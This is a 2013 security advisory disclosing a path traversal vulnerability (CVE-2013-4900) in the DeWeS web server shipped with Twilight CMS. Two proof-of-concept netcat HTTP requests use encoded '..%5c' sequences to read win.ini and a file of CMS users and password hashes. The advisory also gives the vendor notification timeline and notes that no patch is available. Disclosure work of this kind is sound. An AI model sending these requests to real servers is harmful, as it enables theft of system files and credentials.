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Path Traversal in DeWeS Web Server (Twilight CMS)
From: High-Tech Bridge Security Research <advisory () htbridge com>
Date: Wed, 21 Aug 2013 12:11:27 +0200 (CEST)

Advisory ID: HTB23167
Product: DeWeS web  server (Twilight CMS)
Vendor: Strata Technologies LLC
Vulnerable Version(s): 0.4.2 and probably prior
Tested Version: 0.4.2
Vendor Notification: July 24, 2013 
Public Disclosure: August 21, 2013 
Vulnerability Type: Path Traversal [CWE-22]
CVE Reference: CVE-2013-4900
Risk Level: Medium 
CVSSv2 Base Score: 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in DeWeS web server that is supplied in 
package with Twilight CMS (Windows version), which can be exploited to read arbitrary files on vulnerable system.


1) Path Traversal in DeWeS Web Server: CVE-2013-4900

The vulnerability exists due to insufficient validation of HTTP requests passed to web server. A remote attacker can 
send a specially crafted HTTP request containing directory traversal sequences (e.g. “..%5c”) and read arbitrary files 
on the target system with privileges of the user running the vulnerable web server. 


The exploitation examples below use netcat tool to connect to remote web server in order to exploit the vulnerability 
using malicious HTTP GET request.

The first PoC (Proof of Concept) code displays contents of the "C:/windows/win.ini" file:


nc [host] 80
GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1



The second PoC  code displays contents of the "userlist.dat" file that contains all Twilight CMS users and password 
hashes:


nc [host] 80
GET demosite/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/TwilightCMS/Sites/company_site/Data/userlist.dat 
HTTP/1.1


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Solution:

Currently we are not aware of any Vendor supplied patches or solutions.

<b>Vendor Notification Timeline:</b>
2013-07-24 Vendor notification via email
2013-07-25 Vendor notification via email
2013-08-02 Vendor notification via email and online web form
2013-08-09 Vendor notification via email and online web form
2013-08-12 Vendor notification via email and online web form
2013-08-21 No single answer from Vendor, public disclosure 

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References:

[1] High-Tech Bridge Advisory HTB23167 - https://www.htbridge.com/advisory/HTB23167 - Path Traversal in DeWeS
[2] DeWeS - www.stratek.ru - DeWeS is a small web server for developers of Twilight CMS.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.


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